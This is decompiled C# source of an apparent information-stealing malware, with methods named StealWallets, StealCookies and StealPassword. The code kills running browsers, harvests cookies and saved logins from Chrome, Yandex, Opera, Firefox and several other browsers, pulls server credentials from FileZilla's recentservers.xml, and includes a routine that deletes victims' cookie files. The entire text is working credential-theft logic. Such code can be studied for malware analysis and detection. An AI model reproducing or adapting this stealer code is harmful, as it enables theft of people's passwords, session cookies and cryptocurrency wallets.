// Token: 0x06000127 RID: 295 RVA: 0x00006364 File Offset: 0x00004564
public Task <List <BitcoinWallet> > StealWallets()
{
return(Task.Factory.StartNew <List <BitcoinWallet> >(delegate
{
List <BitcoinWallet> result;
try
{
result = StealHelper.GetWallets();
}
catch
{
result = new List <BitcoinWallet>();
}
return result;
}));
}
// Token: 0x06000129 RID: 297 RVA: 0x000063B8 File Offset: 0x000045B8
public Task <List <BrowserCookie> > StealCookies()
{
return(StealHelper.StealCookies());
}
// Token: 0x06000128 RID: 296 RVA: 0x000063A0 File Offset: 0x000045A0
public Task <UserLog> StealPassword()
{
return(StealHelper.StealPassword());
}
// Token: 0x0600011F RID: 287 RVA: 0x00006194 File Offset: 0x00004394
public Task <bool> ClearCookie()
{
return(Task.Factory.StartNew <bool>(delegate
{
bool result;
try
{
List <BrowserCook> list = new List <BrowserCook>
{
new BrowserCook
{
BrowserName = "Chrome",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Yandex",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Kometa",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Amigo",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Torch",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Orbitum",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Opera",
CookiePaths = new List <string>
{
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Mozilla",
CookiePaths = StealHelper.MozillaCookies()
}
};
List <BrowserCookie> list2 = new List <BrowserCookie>();
StealHelper.KillBrowsers();
foreach (BrowserCook browserCook in list)
{
foreach (string path in browserCook.CookiePaths)
{
try
{
bool flag = File.Exists(path);
if (flag)
{
File.Delete(path);
}
}
catch
{
}
}
}
result = true;
}
catch
{
result = false;
}
return result;
}));
}
// Token: 0x06000149 RID: 329 RVA: 0x00007574 File Offset: 0x00005774
public static Task <List <BrowserCookie> > StealCookies()
{
return(Task.Factory.StartNew <List <BrowserCookie> >(delegate
{
List <BrowserCookie> result;
try
{
List <BrowserCook> list = new List <BrowserCook>
{
new BrowserCook
{
BrowserName = "Chrome",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Yandex",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Kometa",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Amigo",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Torch",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Orbitum",
CookiePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Opera",
CookiePaths = new List <string>
{
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Cookies"
}
},
new BrowserCook
{
BrowserName = "Mozilla",
CookiePaths = StealHelper.MozillaCookies()
}
};
List <BrowserCookie> list2 = new List <BrowserCookie>();
StealHelper.KillBrowsers();
foreach (BrowserCook browserCook in list)
{
foreach (string text in browserCook.CookiePaths)
{
try
{
bool flag = File.Exists(text);
if (flag)
{
List <string> list3 = new List <string>();
bool flag2 = browserCook.BrowserName != "Mozilla";
if (flag2)
{
ChromeBased chromeBased = new ChromeBased(text);
list3 = chromeBased.Cookies().ToList <string>();
bool flag3 = list3.Count != 0;
if (flag3)
{
list2.Add(new BrowserCookie
{
FileName = "Cookie.txt",
FileArray = Encoding.UTF8.GetBytes(string.Join(Environment.NewLine, list3)),
Browser = browserCook.BrowserName
});
}
}
else
{
MozillaBased mozillaBased = new MozillaBased(text);
list3 = mozillaBased.Cookies().ToList <string>();
bool flag4 = list3.Count != 0;
if (flag4)
{
string str = text.Split(new char[]
{
'\\'
})[text.Split(new char[]
{
'\\'
}).Count <string>() - 2];
list2.Add(new BrowserCookie
{
FileName = str + "_Cookie.txt",
FileArray = Encoding.UTF8.GetBytes(string.Join(Environment.NewLine, list3)),
Browser = browserCook.BrowserName
});
}
}
}
}
catch
{
}
}
}
result = list2;
}
catch
{
result = new List <BrowserCookie>();
}
return result;
}));
}
// Token: 0x06000147 RID: 327 RVA: 0x00006E80 File Offset: 0x00005080
public static Task <UserLog> StealPassword()
{
return(Task.Factory.StartNew <UserLog>(delegate
{
UserLog result;
try
{
List <Browser> list = new List <Browser>
{
new Browser
{
BrowserName = "Chrome",
FilePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Login Data"
}
},
new Browser
{
BrowserName = "Yandex",
FilePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data"
}
},
new Browser
{
BrowserName = "Kometa",
FilePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Login Data"
}
},
new Browser
{
BrowserName = "Amigo",
FilePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Login Data"
}
},
new Browser
{
BrowserName = "Torch",
FilePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Login Data"
}
},
new Browser
{
BrowserName = "Orbitum",
FilePaths = new List <string>
{
Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Login Data"
}
},
new Browser
{
BrowserName = "Opera",
FilePaths = new List <string>
{
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Login Data"
}
},
new Browser
{
BrowserName = "Mozilla",
FilePaths = StealHelper.MozillaFiles()
}
};
UserLog userLog = new UserLog
{
Time = DateTime.Now,
UserName = Environment.UserName,
ListOfLogs = new List <PasswordContainer>()
};
StealHelper.KillBrowsers();
foreach (Browser browser in list)
{
PasswordContainer passwordContainer = new PasswordContainer
{
Name = browser.BrowserName,
ListOfLogs = new List <Log>()
};
foreach (string text in browser.FilePaths)
{
try
{
bool flag = browser.BrowserName == "Mozilla";
if (flag)
{
passwordContainer.ListOfLogs.AddRange(new FireFox(text).GetPasswords());
break;
}
bool flag2 = File.Exists(text);
if (flag2)
{
passwordContainer.ListOfLogs.AddRange(new Chrome(text).GetPasswords());
}
}
catch
{
}
}
userLog.ListOfLogs.Add(passwordContainer);
}
try
{
PasswordContainer passwordContainer2 = new PasswordContainer();
passwordContainer2.Name = "FileZilla";
passwordContainer2.ListOfLogs = new List <Log>();
try
{
bool flag3 = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml");
if (flag3)
{
using (FileStream fileStream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml", FileMode.Open))
{
FileZilla3 fileZilla = (FileZilla3)StealHelper.dbFormat.Deserialize(fileStream);
PasswordContainer passwordContainer3 = passwordContainer2;
passwordContainer3.Name = passwordContainer3.Name + " " + fileZilla.Version;
foreach (Server server in fileZilla.RecentServers.Server)
{
Log item = new Log
{
Login = server.User,
URL = server.Host + Environment.NewLine + "Порт: " + server.Port,
Password = server.Pass.Text + Environment.NewLine + "Метод шифрования: " + server.Pass.Encoding
};
passwordContainer2.ListOfLogs.Add(item);
}
}
}
}
catch (Exception ex)
{
}
finally
{
userLog.ListOfLogs.Add(passwordContainer2);
}
}
catch
{
}
result = userLog;
}
catch
{
result = new UserLog();
}
return result;
}));
}
